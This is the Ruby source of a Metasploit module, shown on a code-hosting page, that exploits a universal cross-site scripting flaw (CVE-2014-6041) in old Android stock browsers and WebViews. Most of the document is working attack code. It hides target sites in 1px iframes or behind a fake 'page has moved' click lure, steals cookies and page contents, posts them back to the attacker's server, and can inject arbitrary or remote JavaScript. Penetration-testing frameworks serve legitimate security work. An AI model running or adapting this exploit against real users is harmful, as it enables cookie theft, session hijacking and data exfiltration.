Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/gather/android_stock_browser_uxss.rb
Views: 11623
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpServer::HTML7include Msf::Auxiliary::Report89def initialize(info = {})10super(update_info(info,11'Name' => 'Android Open Source Platform (AOSP) Browser UXSS',12'Description' => %q{13This module exploits a Universal Cross-Site Scripting (UXSS) vulnerability present in14all versions of Android's open source stock browser before 4.4, and Android apps running15on < 4.4 that embed the WebView component. If successful, an attacker can leverage this bug16to scrape both cookie data and page contents from a vulnerable browser window.1718If your target URLs use X-Frame-Options, you can enable the "BYPASS_XFO" option,19which will cause a popup window to be used. This requires a click from the user20and is much less stealthy, but is generally harmless-looking.2122By supplying a CUSTOM_JS parameter and ensuring CLOSE_POPUP is set to false, this23module also allows running arbitrary javascript in the context of the targeted URL.24Some sample UXSS scripts are provided in data/exploits/uxss.25},26'Author' => [27'Rafay Baloch', # Original discovery, disclosure28'joev' # Metasploit module29],30'License' => MSF_LICENSE,31'Actions' => [32[ 'WebServer' ]33],34'PassiveActions' => [35'WebServer'36],37'References' => [38[ 'URL', 'http://1337day.com/exploit/description/22581' ],39[ 'OSVDB', '110664' ],40[ 'CVE', '2014-6041' ]41],42'DefaultAction' => 'WebServer'43))4445register_options([46OptString.new('TARGET_URLS', [47true,48"The comma-separated list of URLs to steal.",49'http://example.com'50]),51OptString.new('CUSTOM_JS', [52false,53"A string of javascript to execute in the context of the target URLs.",54''55]),56OptString.new('REMOTE_JS', [57false,58"A URL to inject into a script tag in the context of the target URLs.",59''60]),61OptBool.new('BYPASS_XFO', [62false,63"Bypass URLs that have X-Frame-Options by using a one-click popup exploit.",64false65]),66OptBool.new('CLOSE_POPUP', [67false,68"When BYPASS_XFO is enabled, this closes the popup window after exfiltration.",69true70])71])72end7374def on_request_uri(cli, request)75print_status("Request '#{request.method} #{request.uri}'")7677if request.method.downcase == 'post'78collect_data(request)79send_response_html(cli, '')80else81payload_fn = Rex::Text.rand_text_alphanumeric(4+rand(8))82domains = datastore['TARGET_URLS'].split(',')8384html = <<-EOS85<html>86<body>87<script>88var targets = JSON.parse(atob("#{Rex::Text.encode_base64(JSON.generate(domains))}"));89var bypassXFO = #{datastore['BYPASS_XFO']};90var received = [];9192window.addEventListener('message', function(e) {93var data = JSON.parse(e.data);94if (!data.send) {95if (bypassXFO && data.i && received[data.i]) return;96if (bypassXFO && e.data) received.push(true);97}98var x = new XMLHttpRequest;99x.open('POST', window.location, true);100x.send(e.data);101}, false);102103function randomString() {104var str = '';105for (var i = 0; i < 5+Math.random()*15; i++) {106str += String.fromCharCode('A'.charCodeAt(0) + parseInt(Math.random()*26))107}108return str;109}110111function installFrame(target) {112var f = document.createElement('iframe');113var n = randomString();114f.setAttribute('name', n);115f.setAttribute('src', target);116f.setAttribute('style', 'position:absolute;left:-9999px;top:-9999px;height:1px;width:1px');117f.onload = function(){118attack(target, n);119};120document.body.appendChild(f);121}122123function attack(target, n, i, cachedN) {124var exploit = function(){125window.open('\\u0000javascript:if(document&&document.body){(opener||top).postMessage('+126'JSON.stringify({cookie:document.cookie,url:location.href,body:document.body.innerH'+127'TML,i:'+(i||0)+'}),"*");eval(atob("#{Rex::Text.encode_base64(custom_js)}"'+128'));}void(0);', n);129}130if (!n) {131n = cachedN || randomString();132var closePopup = #{datastore['CLOSE_POPUP']};133var w = window.open(target, n);134var deadman = setTimeout(function(){135clearInterval(clear);136clearInterval(clear2);137attack(targets[i], null, i, n);138}, 10000);139var clear = setInterval(function(){140if (received[i]) {141if (i < targets.length-1) {142try{ w.stop(); }catch(e){}143try{ w.location='data:text/html,<p>Loading...</p>'; }catch(e){}144}145146clearInterval(clear);147clearInterval(clear2);148clearTimeout(deadman);149150if (i < targets.length-1) {151setTimeout(function(){ attack(targets[i+1], null, i+1, n); },100);152} else {153if (closePopup) w.close();154}155}156}, 50);157var clear2 = setInterval(function(){158try {159if (w.location.toString()) return;160if (w.document) return;161} catch(e) {}162clearInterval(clear2);163clear2 = setInterval(exploit, 50);164},20);165} else {166exploit();167}168}169170var clickedOnce = false;171function onclickHandler() {172if (clickedOnce) return false;173clickedOnce = true;174attack(targets[0], null, 0);175return false;176}177178window.onload = function(){179if (bypassXFO) {180document.querySelector('#click').style.display='block';181window.onclick = onclickHandler;182} else {183for (var i = 0; i < targets.length; i++) {184installFrame(targets[i]);185}186}187}188</script>189<div style='text-align:center;margin:20px 0;font-size:22px;display:none'190id='click' onclick='onclickHandler()'>191The page has moved. <a href='#'>Click here to be redirected.</a>192</div>193</body>194</html>195EOS196197print_status("Sending initial HTML ...")198send_response_html(cli, html)199end200end201202def collect_data(request)203response = JSON.parse(request.body)204url = response['url']205if response && url206file = store_loot("android.client", "text/plain", cli.peerhost, request.body, "aosp_uxss_#{url}", "Data pilfered from uxss")207print_good "Collected data from URL: #{url}"208print_good "Saved to: #{file}"209end210end211212def backend_url213proto = (datastore["SSL"] ? "https" : "http")214myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']215port_str = (datastore['SRVPORT'].to_i == 80) ? '' : ":#{datastore['SRVPORT']}"216"#{proto}://#{myhost}#{port_str}/#{datastore['URIPATH']}/catch"217end218219def custom_js220rjs_hook + datastore['CUSTOM_JS']221end222223def rjs_hook224remote_js = datastore['REMOTE_JS']225if remote_js.present?226"var s = document.createElement('script');s.setAttribute('src', '#{remote_js}');document.body.appendChild(s); "227else228''229end230end231232def run233exploit234end235end236237238